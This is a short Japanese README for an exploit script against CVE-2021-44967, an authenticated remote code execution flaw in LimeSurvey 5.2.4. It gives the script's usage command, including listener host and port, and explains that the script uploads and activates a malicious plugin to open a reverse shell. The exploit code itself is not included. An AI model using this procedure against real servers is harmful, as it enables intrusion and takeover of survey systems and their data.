CVE-2021-44967 - 認証済み（特権）RCE

LimeSurvey バージョン 5.2.4 では、プラグインのアップロードとインストールを介した認証済み（特権）リモートコマンド実行により、リモートユーザーが任意の PHP コードファイルをアップロードできます。

使い方

python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>

スーパー管理者ユーザーは、LimeSurvey 管理パネルを通じてプラグインモジュールを読み込むことができます。このスクリプトはローカルでファイルを作成し、圧縮してアップロードします。その後、モジュールをインストール、有効化、実行するための呼び出しが行われ、リバースシェルが実行されます。